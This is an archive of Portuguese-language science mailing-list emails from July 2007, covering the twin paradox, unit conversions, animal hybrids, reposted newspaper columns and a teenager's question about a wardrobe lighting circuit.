> "Eu resolví o paradox incorporando um novo princípio dentro do esquema da
> relatividade que define o movimento não em relação aos objetos
> individuais,
> tal como os dois gêmeos com respeito um ao outro, mas em relação à
> estrelas
> distantes", disse Kak. Usando relações probabilísiticas, a solução de Kak
> assume que o universo tem as mesmas propriedades gerais no matter where
> one
> might be within it.
>
> The implications of this resolution will be widespread, generally
> enhancing
> the scientific community's comprehension of relativity. It may eventually
> even have some impact on quantum communications and computers, potentially
> making it possible to design more efficient and reliable communication
> systems for space applications.
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>
> For more information, please contact Subhash Kak at 225-578-5552 or
> <mailto:kak@ece.lsu.edu> kak@ece.lsu.edu."
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> …..Using probabilistic relationships, Kak's solution assumes that the
> universe has the same general properties no matter where one might be
> within
> it….
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> Sds,
>
> Victor.
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SUBJECT: RES: [ciencialist] Re: Fw: Física
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 14:01

Léo,

5 mesmo, apenas, ou 5! = fatorial de 5?



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: terça-feira, 17 de julho de 2007 07:29
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Re: Fw: Física



É, penso o mesmo que vc. Todavia, por vezes tenho recaídas. E, por outro
lado, o número de consulentes que pede para "resolver problemas" não é
grande; esse mês ainda não chegou a 5! Na grande maioria das consultas são
"dúvidas" e "perguntas" que eu classifico como 'boas'. Há muitos pedidos de
esquemas eletrônicos, de professores que pedem sugestões para construir tal
e qual aparelho e hobbistas das mais variadas espécies (até de moto
contínuo). Acústica é um tema bem procurado.

No mais das vezes que apresento tais perguntas por aqui na C-List, a
finalidade é a didática da resposta, principalmente para os guris até a 8a
série (ou mães deles, que fazem a pergunta).

Takata é um colaborador emérito; quando eu morrer vou deixar, no testamento,
para ele, parte de minha vasta fortuna. Não sei se ele vai aceitar ou
re-doar para a igreja mais próxima da casa dele, para garantir um lugar ao
meu lado lá no céu.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br
<mailto:profjc2003%40yahoo.com.br> >
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: segunda-feira, 16 de julho de 2007 23:54
Assunto: [ciencialist] Re: Fw: Física

Eu fico me perguntando porque que os "consulentes" não têm nenhum
interesse pela teoria ou pelos conceitos envolvidos e, ao invés disso,
ficam postando pedidos de "resolução de problemas". Eu me recuso a
fazer a lição de casa de meus alunos, imagine a dos alunos dos outros
então. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "Alvaro Augusto \(U\)"
<alvaro@...> escreveu
>
> É sério ou de brincadeira? Casualmente, sei responder às três
questões, mas
> não gostaria que outro professor resolvesse exercícios que passo
para os
> meus alunos...
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@...>
> To: "ciencialist" <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Sent: Monday, July 16, 2007 5:33 PM
> Subject: [ciencialist] Fw: Física
>
>
> Cadê meus assessores físicos?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Odair Junior
> Para: leobarretos@...
> Enviada em: segunda-feira, 16 de julho de 2007 15:42
> Assunto: Física
>
>
> Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3)
de Física
> que não estou conseguindo resolvê-los, e, estou muito curioso, pois são
> muito interessantes. Por favor professor, resolva-os para mim:
>
> 1.Um transformador elétrico é constituído por um núcleo ferromagnético
> envolvido por duas bobinas de fio condutor, a bobina primária com N1
espiras
> e a bobina secundária com N2 espiras.Uma tensão e1(t), variável no
tempo,
> aplicada à bobina primária, origina um fluxo magnético no núcleo,
também
> variável no tempo. Por sua vez, um fluxo variável através da bobina
> secundária origina uma tensão secundária e2(t). Desprezando a
resistência
> dos enrolamentos, as perdas no núcleo e supondo que todo flixo
magnético
> circula através dele: a). Determine e2(t) em função de e1(t) de N1 e
de N2,
> supondo que não há carga na bobina secundária. b). Determine a
relação entre
> a tensão de entrada e a respectiva corrente. c). Determine o fluxo
magnético
> no núcleo e qual deverá ser a secção do mesmo de modo a que o valor
de B não
> exceda 0,8 T.
>
> 2.Considere a onda eletromagnética descrita por: Ex=0
Ey=E0cos[w(t-x/c)]
> Ez=0
> Com o auxílio das equações de Maxwell, determine a expressão do campo
> magnético associado.
>
> 3. Considere uma partícula confinada numa caixa de comprimento L.
Se a
> função de onda é dada por y(x)=raiz de 2/L sen3pix/L, qual a
probabilidade
> de encontrar essa partícula entre 2L/3 e L?
>

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A última professora
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 17/07/2007 14:08

A �ltima professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*

Estamos em 2989 e alguns cientistas, trabalhando nas ru�nas de um s�tio
arqueol�gico (local outrora conhecido como Jacarepagu�), encontraram uma
mand�bula de mulher. Levada ao laborat�rio, descobriu-se que ela pertencia a
uma professora. N�o uma professora qualquer, mas provavelmente a �ltima da
esp�cie classificada como de 1� Grau que viveu por volta de 2020 num antigo
pa�s chamado Brasil.

No final do s�c. XXI, o Brasil que conhecemos se tornou um aglomerado de
tribos independentes, expressando-se nos mais diferentes idiomas. A
descoberta do que ficou conhecido como a Professora de Jacarepagu� (uma
vers�o mais moderna do Homem de Neanderthal) tornou poss�vel encontrar as
raz�es da dissolu��o do pa�s.

Buscando nos livros, os cientistas perceberam que houve uma �poca � entre o
in�cio do s�c. XX e meados dos anos 50 � em que professores desse extinto
pa�s ocupavam uma posi��o invej�vel na escala social. As fam�lias
monog�micas das classes m�dias (e algumas altas) orgulhavam-se de poderem
encaminhar suas filhas para a profiss�o. Casar com uma professora era a
aspira��o suprema de muitos homens. Elas eram olhadas com respeito,
admira��o e desfrutavam de um *status* semelhante ao dos militares.

Reconhecidas na sua miss�o hist�rica de educar, recebiam � acreditem � um
sal�rio que chegava ao final do m�s. Alguns iam al�m.

N�o se sabe precisar a data, mas parece que foi no final dos anos 70 que o
magist�rio come�ou a desabar na escala social. Por mais que quebrem a
cabe�a, nossos cientistas n�o conseguem entender as raz�es dessa queda
vertiginosa. N�o ter� sido por falta de escolas, porque o pa�s esfor�ava-se
para entrar na modernidade e necessitava ampliar sua rede escolar. N�o ter�
sido tamb�m por falta de quem educar, porque esse atrasado pa�s somava mais
de 50 milh�es de analfabetos e semiletrados no in�cio dos anos 90. Muito
menos pela possibilidade de substituir professoras por rob�s, televisores e
computadores. Por que ent�o os magistrados passaram a ser tratados como os
servos do antigo Egito?

A princ�pio, suspeitou-se que esse povo atrasado e tropical tivesse uma
caixa craniana inferior a das ra�as desenvolvidas. Mais tarde,
encontraram-se outras raz�es para o decl�nio do magist�rio: um compl� contra
a educa��o, criado pela classe dominante(10% da popula��o), que detinha mais
de 50% da renda nacional. N�o interessava a ela ver o saber democratizado,
ou seus privil�gios estariam amea�ados. Os professores despencaram para os
�ltimos lugares da tabela econ�mica, equiparando-se aos profissionais (n�o
especializados) mais mal pagos desse triste pa�s. Alguns, ganhando
sal�rio-m�nimo, recebiam menos do que os oper�rios que ajudaram a levantar
os Jardins Suspensos da Babil�nia.

O resultado � que, a partir do in�cio do s�culo XXI, o professorado
tornou-se uma esp�cie em extin��o. Documentos da �poca informaram que,
quando uma jovem anunciava o desejo de ser professora, a fam�lia a colocava
de castigo. Era prefer�vel ganhar a vida como chacrete em programa de
audit�rio. Os cientistas pesquisaram o desaparecimento de outras atividades
nesse pa�s: funileiro, cocheiro, acendedor de lampi�es. Ocorre que esses
profissionais foram engolidos pelos avan�os da civiliza��o. No caso dos
professores, n�o h� progresso nem tecnologia capaz de substituir sua
presen�a. � a professora quem nos leva pela m�o na travessia para as
primeiras letras. � ela quem nos coloca no ponto de partida e, com uma
palmadinha no traseiro, parece dizer:"Agora vai � luta".

Segundo os cientistas, os governos da �poca, preocupados com quest�es mais
transcendentais, n�o perceberam a escassez de professores no mercado. Foi
preciso que as escolas come�assem a fechar e os donos das escolas
particulares esperneassem desesperados para o governo tomar provid�ncias.

Que provid�ncias? Importar professores, como fez com o �lcool. No in�cio
dava-se prefer�ncia � Portugal e �s ex-col�nias. Mas eles tamb�m tinham suas
crian�as para educar, de modo que o Governo teve que recorrer ao Paraguai,
Bol�via, Guianas. Logo, os pa�ses desenvolvidos � que j� dominavam a cultura
do Brasil � perceberam o alcance do neg�cio e trataram de enviar,
gratuitamente, bandos de professores �s escolas brasileiras.

O pa�s tornou-se uma Babel. Em algumas regi�es, ensinava-se em japon�s; em
outras, em alem�o ou ingl�s, ou italiano ou espanhol. Em apenas uma �nica
escola, em Jacarepagu�, uma professora resistia, ensinando os alunos em
portugu�s. Sua morte tornou-se um marco na hist�ria da Educa��o nesse pa�s.
Foi enterrada com honras de her�i nacional e o monumento ao "Professor
Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto na
figura principal. Ao p� do monumento, os dizeres: " A �ltima professora
brasileira, homenagem dos seus ex-alunos." Foi a �ltima frase que se
escreveu nesse pa�s em portugu�s.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Fw: Pneumatica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 14:47

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Também não sei o que é "pcm". Será polegada ao cubo?

É a capacidade de bombeamento: pé cúbico por minuto.

[]s,

Roberto Takata




SUBJECT: Tigreão
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 15:51

Nao sabia que isso era possível..!

http://noticias.terra.com.br/ciencia/galerias/0,,OI47956-EI238,00.html

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: Pneumatica
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 15:58

"pés cúbicos por minuto", aportuguesamente de uma unidade britânica. 1 pcm é
aproximadamente igual a 28,32 litros por minuto, de acordo com um engenheiro
mecânico que trabalha comigo.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 17, 2007 11:29 AM
Subject: [ciencialist] Fw: Pneumatica


Também não sei o que é "pcm". Será polegada ao cubo?
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Joao Luis Silva Araujo Araujo
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 16 de julho de 2007 10:10
Assunto: Pneumatica


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pcm a 90 psi.
não entendi o que significa pcm nesse caso pois quero fazer um calculo de
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SUBJECT: Re: Fw: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 16:12

Adaptar isto para o FdC:

http://www.istf.com.br/?page=perguntas

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> Eu fico me perguntando porque que os "consulentes" não têm nenhum
> interesse pela teoria ou pelos conceitos envolvidos e, ao invés
> disso, ficam postando pedidos de "resolução de problemas". Eu me
> recuso a fazer a lição de casa de meus alunos, imagine a dos alunos
> dos outros então. :)
>
> Abraços,
> JC




SUBJECT: Re: [ciencialist] Tigreão
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 16:19

Olá Gil

Acho que o nome mais comum para este hibrido é Ligre (liger, em inglês). E não é tão raro assim, bem como diversos hibridos interessantes. A mula, cavalo-burro é bem conhecida, mas mesmo entre primatas pode ocorrer, como o Gibão e o Siamango (Malásia e Indonésia). Inclusive este dois, Gibão e Siamango, tem número de cromossomos diferentes, 50 e 44, o que faz pensar se não seria possível a fecundação entre Homo Sapiens (46) e Chimpanzés (48).

A proximidade genética e uma certa combinação dos processos metabolicos pode permitir a hibridação de espécies separadas. E criar belos problemas para a classificação lineana..:-)

Um abraço.

Homero



----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, July 17, 2007 3:51 PM
Subject: [ciencialist] Tigreão


Nao sabia que isso era possível..!

http://noticias.terra.com.br/ciencia/galerias/0,,OI47956-EI238,00.html

Gil

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Os meios e os fins, texto de Luis Fernando Veríssimo
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 17/07/2007 16:23

*Os meios e os fins, texto de Luis Fernando Ver�ssimo* * *
"No Brasil, a vergonha n�o � o l�bi, mas o l�bi que n�o se declara, e
ajuda a manter a fic��o de uma democracia ciceroniana de homens especiais
dedicados ao interesse geral. Mas isso, claro, tamb�m depende de como voc�
v� esse neg�cio de vergonha"

Eis a �ntegra do texto:

N�o faz muito, cientistas conseguiram aumentar a velocidade da luz, que � de
300 mil quil�metros por segundo. Um feixe de luz produzido em laborat�rio
atravessou uma c�mara cheia de g�s c�sio com tanta rapidez que chegou ao
outro lado antes de ter sa�do, ou saiu antes de ter entrado! Foi outra
certeza cient�fica irrefut�vel � a da velocidade da luz num v�cuo como a
m�xima velocidade poss�vel e uma das constantes invari�veis na Natureza �
refutada.

A explica��o dos cientistas � de que um pulso de luz � formado por ondas, e
os �tomos do g�s c�sio resfriado, usado na c�mara, ampliaram a freq��ncia
das ondas mais do que qualquer outro meio de propaga��o conhecido, e mais
at� do que o v�cuo, teria conseguido.

Um experimento parecido poderia ser feito no Brasil substituindo-se feixes
de luz por esc�ndalos e medindo a sua dura��o, segundo o meio que
atravessam.

Aqui h� esc�ndalos que terminam antes de come�ar, ou ent�o come�am e,
misteriosamente, desaparecem no caminho. Outros perduram, crescem, v�o,
voltam e exigem explica��o. A diferen�a entre um fen�meno e outro � a
natureza do meio. Num caso, em vez de conduzir o fato ao seu desfecho
natural, o meio o absorve, desvia, engaveta ou mata.

Foi o que aconteceu com freq��ncia num passado recente, em que o equivalente
ao g�s c�sio resfriado era um conluio de interesses arraigados, coniv�ncias
t�citas, pol�cia omissa e imprensa amiga que n�o deixou nenhum esc�ndalo
chegar ao outro lado, ao esclarecimento e � conseq��ncia, ou sequer
aparecer.

No outro caso, o meio de propaga��o � um g�s de interesses contrariados,
conveni�ncias t�citas, pol�cia ativa e uma imprensa n�o t�o amiga que faz os
esc�ndalos aparecerem.

Mas, como tanto os esc�ndalos abafados do passado quanto os gritantes de
hoje t�m um destino comum � n�o d�o em nada �, a analogia talvez esteja
errada. O que prejudica a passagem do fato para o efeito e do crime para o
castigo n�o � o meio de propaga��o � � o v�cuo moral em que nos acostumamos
a viver, com tanta impunidade acumulada e t�o cinicamente defendida.
Ter�amos chegado a um ponto em que investiga��o completa e puni��o certa de
qualquer caso escandaloso pareceriam uma coisa at� meio, sei l�, antinatural
.

Falando em esc�ndalos. Nos EUA, o l�bi � uma atividade institucionalizada e
regulamentada.

Existem profissionais do l�bi trabalhando em empresas especializadas com
escrit�rios montados dentro do poder � ou, pelo menos, no "lobby" do poder
�, cuja pr�pria ostenta��o faz parte do seu potencial de persuas�o. Quanto
menos discreto o l�bi, mais rico e mais influente. O l�bi d� a interesses
especiais com dinheiro um poder sobre o poder desproporcional ao do pobre
eleitor, que s� vota, e, assim mesmo, de vez em quando. � a nega��o de
qualquer ideal de representatividade democr�tica, quando n�o � o seu
esc�rnio.

Mas isso depende de como voc� v� essas coisas ("coisas", a�, incluindo a
legitimidade que o exemplo americano d� a qualquer costume pol�tico entre
n�s). O l�bi tamb�m pode existir como uma presun��o de governantes e
legisladores, se n�o honestos, pelo menos neutros nas suas convic��es e
compromissos.

Abertos � argumenta��o, venha ela na forma de arrazoados ponderados ou de
esp�cie, ou fins de semana com a patroa em algum resort convincente.

O que � melhor, o l�bi institucionalizado cuja fun��o declarada �
influenciar opini�es e comprar decis�es, ou um l�bi que, como no Brasil, n�o
ousa dizer seu nome? A presun��o impl�cita do l�bi discreto ou mascarado �
que ele n�o adianta muito � os legisladores ou governantes j� chegam a seus
postos t�o comprometidos com interesses especiais que qualquer tentativa de
alici�-los para outros seria um gasto in�til.

No Brasil, a vergonha n�o � o l�bi, mas o l�bi que n�o se declara, e ajuda a
manter a fic��o de uma democracia ciceroniana de homens especiais dedicados
ao interesse geral. Mas isso, claro, tamb�m depende de como voc� v� esse
neg�cio de vergonha.
(O Globo, 15/7) * *
N�o faz muito, cientistas conseguiram aumentar a velocidade da luz, que �
de 300 mil quil�metros por segundo. Um feixe de luz produzido em laborat�rio
atravessou uma c�mara cheia de g�s c�sio com tanta rapidez que chegou ao
outro lado antes de ter sa�do, ou saiu antes de ter entrado! Foi outra
certeza cient�fica irrefut�vel � a da velocidade da luz num v�cuo como a
m�xima velocidade poss�vel e uma das constantes invari�veis na Natureza �
refutada.

A explica��o dos cientistas � de que um pulso de luz � formado por ondas, e
os �tomos do g�s c�sio resfriado, usado na c�mara, ampliaram a freq��ncia
das ondas mais do que qualquer outro meio de propaga��o conhecido, e mais
at� do que o v�cuo, teria conseguido.

Um experimento parecido poderia ser feito no Brasil substituindo-se feixes
de luz por esc�ndalos e medindo a sua dura��o, segundo o meio que
atravessam.

Aqui h� esc�ndalos que terminam antes de come�ar, ou ent�o come�am e,
misteriosamente, desaparecem no caminho. Outros perduram, crescem, v�o,
voltam e exigem explica��o. A diferen�a entre um fen�meno e outro � a
natureza do meio. Num caso, em vez de conduzir o fato ao seu desfecho
natural, o meio o absorve, desvia, engaveta ou mata.

Foi o que aconteceu com freq��ncia num passado recente, em que o equivalente
ao g�s c�sio resfriado era um conluio de interesses arraigados, coniv�ncias
t�citas, pol�cia omissa e imprensa amiga que n�o deixou nenhum esc�ndalo
chegar ao outro lado, ao esclarecimento e � conseq��ncia, ou sequer
aparecer.

No outro caso, o meio de propaga��o � um g�s de interesses contrariados,
conveni�ncias t�citas, pol�cia ativa e uma imprensa n�o t�o amiga que faz os
esc�ndalos aparecerem.

Mas, como tanto os esc�ndalos abafados do passado quanto os gritantes de
hoje t�m um destino comum � n�o d�o em nada �, a analogia talvez esteja
errada. O que prejudica a passagem do fato para o efeito e do crime para o
castigo n�o � o meio de propaga��o � � o v�cuo moral em que nos acostumamos
a viver, com tanta impunidade acumulada e t�o cinicamente defendida.
Ter�amos chegado a um ponto em que investiga��o completa e puni��o certa de
qualquer caso escandaloso pareceriam uma coisa at� meio, sei l�, antinatural
.

Falando em esc�ndalos. Nos EUA, o l�bi � uma atividade institucionalizada e
regulamentada.

Existem profissionais do l�bi trabalhando em empresas especializadas com
escrit�rios montados dentro do poder � ou, pelo menos, no "lobby" do poder
�, cuja pr�pria ostenta��o faz parte do seu potencial de persuas�o. Quanto
menos discreto o l�bi, mais rico e mais influente. O l�bi d� a interesses
especiais com dinheiro um poder sobre o poder desproporcional ao do pobre
eleitor, que s� vota, e, assim mesmo, de vez em quando. � a nega��o de
qualquer ideal de representatividade democr�tica, quando n�o � o seu
esc�rnio.

Mas isso depende de como voc� v� essas coisas ("coisas", a�, incluindo a
legitimidade que o exemplo americano d� a qualquer costume pol�tico entre
n�s). O l�bi tamb�m pode existir como uma presun��o de governantes e
legisladores, se n�o honestos, pelo menos neutros nas suas convic��es e
compromissos.

Abertos � argumenta��o, venha ela na forma de arrazoados ponderados ou de
esp�cie, ou fins de semana com a patroa em algum resort convincente.

O que � melhor, o l�bi institucionalizado cuja fun��o declarada �
influenciar opini�es e comprar decis�es, ou um l�bi que, como no Brasil, n�o
ousa dizer seu nome? A presun��o impl�cita do l�bi discreto ou mascarado �
que ele n�o adianta muito � os legisladores ou governantes j� chegam a seus
postos t�o comprometidos com interesses especiais que qualquer tentativa de
alici�-los para outros seria um gasto in�til.

No Brasil, a vergonha n�o � o l�bi, mas o l�bi que n�o se declara, e ajuda a
manter a fic��o de uma democracia ciceroniana de homens especiais dedicados
ao interesse geral. Mas isso, claro, tamb�m depende de como voc� v� esse
neg�cio de vergonha.
(O Globo, 15/7)


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Tigreão
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 16:29

E eh.

Video
http://video.google.com/videoplay?docid=-6710211402317199827

http://en.wikipedia.org/wiki/Liger

Ateh
Luis Brudna

=-=


On 7/17/07, Gil <nanolink01@gmail.com> wrote:
>
>
>
>
>
>
> Nao sabia que isso era possível..!
>
> http://noticias.terra.com.br/ciencia/galerias/0,,OI47956-EI238,00.html
>
> Gil
>
>


SUBJECT: Re: Os meios e os fins, texto de Luis Fernando Veríssimo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 16:56

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> *Os meios e os fins, texto de Luis Fernando Veríssimo* * *

Um texto menor do Veríssimo. E precisaria ser melhor enquadrado dentro
do tema desta lista.

> certeza científica irrefutável — a da velocidade da luz num vácuo
> como a máxima velocidade possível e uma das constantes invariáveis
> na Natureza — refutada.

Não é verdade. A velocidade da luz não foi afetada. O q foi maior do q
a velocidade da luz e não há problema em ser é a chamada velocidade de
grupo.

[]s,

Roberto Takata



SUBJECT: Re: Tigreão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 17:37

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Acho que o nome mais comum para este hibrido é Ligre (liger, em
> inglês). E não é tão raro assim, bem como diversos hibridos
> interessantes.

Em geral ocorre em circos ou mais raramente em zôos. Na natureza deve
ser muito raro. Ligre, tigreão, tileão e outros não estão ainda
dicionarizados...

> A mula, cavalo-burro é bem conhecida

Curiosidade, em inglês, há a distinção entre o resultado dos
cruzamentos recíprocos - se o macho é o cavalo ou o jumento:

Mule - jumento x égua
Hinny (mm raiz do verbo 'hinir' em português) - cavalo x jumenta

Em português não há essa distinção, mas o faz para um caso bem menos
comum, entre Equus caballus e zebra:

Zebróide - cavalo x zebra fêmea
Zébrulo - zebra macho x égua

Outros híbridos com nomes especiais:

Patureba - pato x marreca
Pintagol - pintassilgo macho x canário-belga fêmea
Triticale - trigo x centeio

> E criar belos problemas para a classificação lineana..:-)

Para a classificação *lineana* baseada em tipos e grupos hierárquicos
não teria ttos problemas, especialmente porq a maioria dos cruzamentos
interespecíficos tendem a ocorrer em espécies de um mesmo gênero (ou
pelo menos da mesma família - se ocorrer entre membros de famílias
diferentes, a classificação dos organismos é apenas revista).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] RG - tradução de texto.
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 17:52

Ou também, modestamente:
'' NÃO IMPORTANDO ONDE A GENTE POSSA ESTAR NELE''...
abr/M.


>From: Gil <nanolink01@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: Re: [ciencialist] RG - tradução de texto.
>Date: Tue, 17 Jul 2007 09:57:45 -0300
>
>Não sei se isso se enquadra no que você sabe (e não sei o que você sabe,
>afinal), mas parece uma frase que já vi muitas vezes antes, em artigos
>científicos. Ficaria algo como:
>"Usando relações probabilísticas, a solução de Kak considera que o universo
>tem as mesmas propriedades gerais, não importando em que parte dele você
>esteja."
>
>Gil
>
>2007/7/17, J.Victor <j.victor.neto@uol.com.br>:
> >
> > Lista,
> >
> > Notícia quentinha. Ótima para outros pensadores que discordam da RG.
> >
> > Em um dos últimos parágrafos, ele, Kak, escreveu: ".....no matter
>where
> > one might be within it.", complementando um frase. Contudo não conseguí
> > uma
> > tradução de modo a se encaixar no que sei a respeito.
> >
> > Alguém poderia oferecer uma tradução adequada?
> >
> > Grato
> >
> > Victor.
> >
> > "Faculty & Staff Focus, Science & Technology
> >
> > LSU Professor Resolves Einstein's Twin Paradox
> >
> > 14/02/2007 16:12
> >
> >
> > Subhash Kak, Delaune Distinguished Professor of Electrical and Computer
> > Engineering at LSU, recently resolved the twin paradox, known as one of
> > the
> > most enduring puzzles of modern-day physics.
> >
> > First suggested by Albert Einstein more than 100 years ago, the paradox
> > deals with the effects of time in the context of travel at near the
>speed
> > of
> > light.
> >
> > Einstein originally used the example of two clocks – one motionless, one
> > in
> > transit. He stated that, due to the laws of physics, clocks being
> > transported near the speed of light would move more slowly than clocks
> > that
> > remained stationary.
> >
> > In more recent times, the paradox has been described using the analogy
>of
> > twins. If one twin is placed on a space shuttle and travels near the
>speed
> > of light while the remaining twin remains earthbound, the unmoved twin
> > would
> > have aged dramatically compared to his interstellar sibling, according
>to
> > the paradox.
> >
> >
> >
> > "If the twin aboard the spaceship went to the nearest star, which is
>4.45
> > light years away at 86 percent of the speed of light, when he returned,
>he
> > would have aged 5 years. But the earthbound twin would have aged more
>than
> > 10 years!" said Kak.
> >
> >
> > The fact that time slows down on moving objects has been documented and
> > verified over the
> >
> >
> >
> > But, in the previous scenario, the paradox is that the earthbound twin
>is
> > the one who would be considered to be in motion – in relation to the
> > sibling
> > – and therefore should be the one aging more slowly. Einstein and other
> > scientists have attempted to resolve this problem before, but none of
>the
> > formulas they presented proved satisfactory.
> >
> >
> >
> > Kak's findings were published online in the International Journal of
> > Theoretical Physics, and will appear in the upcoming print version of
>the
> > publication.
> >
> > "I solved the paradox by incorporating a new principle within the
> > relativity framework that defines motion not in relation to individual
> > objects, such as the two twins with respect to each other, but in
>relation
> > to distant stars," said Kak. Using probabilistic relationships, Kak's
> > solution assumes that the universe has the same general properties no
> > matter
> > where one might be within it.
> >
> > "Eu resolví o paradox incorporando um novo princípio dentro do esquema
>da
> > relatividade que define o movimento não em relação aos objetos
> > individuais,
> > tal como os dois gêmeos com respeito um ao outro, mas em relação à
> > estrelas
> > distantes", disse Kak. Usando relações probabilísiticas, a solução de
>Kak
> > assume que o universo tem as mesmas propriedades gerais no matter where
> > one
> > might be within it.
> >
> > The implications of this resolution will be widespread, generally
> > enhancing
> > the scientific community's comprehension of relativity. It may
>eventually
> > even have some impact on quantum communications and computers,
>potentially
> > making it possible to design more efficient and reliable communication
> > systems for space applications.
> >
> >
> >
> > For more information, please contact Subhash Kak at 225-578-5552 or
> > <mailto:kak@ece.lsu.edu> kak@ece.lsu.edu."
> >
> >
> >
> > -30-
> >
> >
> >
> >
> >
> >
> >
> > …..Using probabilistic relationships, Kak's solution assumes that the
> > universe has the same general properties no matter where one might be
> > within
> > it….
> >
> > Sds,
> >
> > Victor.
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SUBJECT: RE: [ciencialist] Fw: Por favor, ajude-me!
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 18:01

Dá mesmo... e de verdade!


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: "ciencialist" <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] Fw: Por favor, ajude-me!
>Date: Tue, 17 Jul 2007 11:39:43 -0300
>
>Dá gosto, ou não, responder dúvidas assim!
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "Lucas Ribeiro Lopes Cardoso" <luck_477@hotmail.com>
>Para: <leobarretos@uol.com.br>
>Enviada em: sábado, 14 de julho de 2007 19:02
>Assunto: Por favor, ajude-me!
>
>
>| Olá!!!
>| Meu nome é Lucas e tenho 16 anos. Sou um grande fã de seu site
>| feiradecientias.com.br, e o acompanho já a algum anos!
>| O procuro tanto por trabalhos escolares, quanto por trabalhos que
>| realizo por hoobie em minha casa, sempre obtendo resultados excelentes,
>já
>| que no site, sempre encontro explicações detalhadas, e em uma linguagem
>de
>| fácil entendimento.
>| Contudo, procurando me desprender um pouco de trabalhos criados por
>| outras pessoas, criei uma invenção minha, e que, apesar de humilde e
>| simples, será de grande utilidade para mim, sem falar no prazer de
>| construi-la.
>| Consiste em um sisteminha que será implantado no meu guarda-roupas, e
>| que ao abrir a porta do mesmo(fechando o circuito), um LDR(conhecimento
>| obtido em seu site) instalado na parte de cima do armário, percebe ou não
>a
>| presença de luz.
>| Se o quarto estiver claro(no caso, quando estiver dia) nada acontece
>e o
>| sistema fica sem utilização. Já se o quarto estiver escuro(no caso, em
>razão
>| do meu irmão que pode estar dormindo), uma luz se acende e ilumina o
>| interior do armário. E ao abrir a gaveta, fecho outro circuito que, por
>sua
>| vez acende outra lâmpada, desta vez, dentro da gaveta. O mesmo acontece
>no
>| outro armário só que sem a parte da gaveta.
>| Portanto (ao meu ver), consiste em um sistema de três lâmpadas, três
>| interruptores, um LDR e uma fonte de alimentação. E é ai que mora o meu
>| problema!
>| Ao começar a desenhar o esquema, apareceram algumas dúvidas das quais
>| não possuo o conhecimento necessário para resoulve-las, são essas:
>| * Como são três lâmpadas de 25W e, portanto, não posso acende-las com
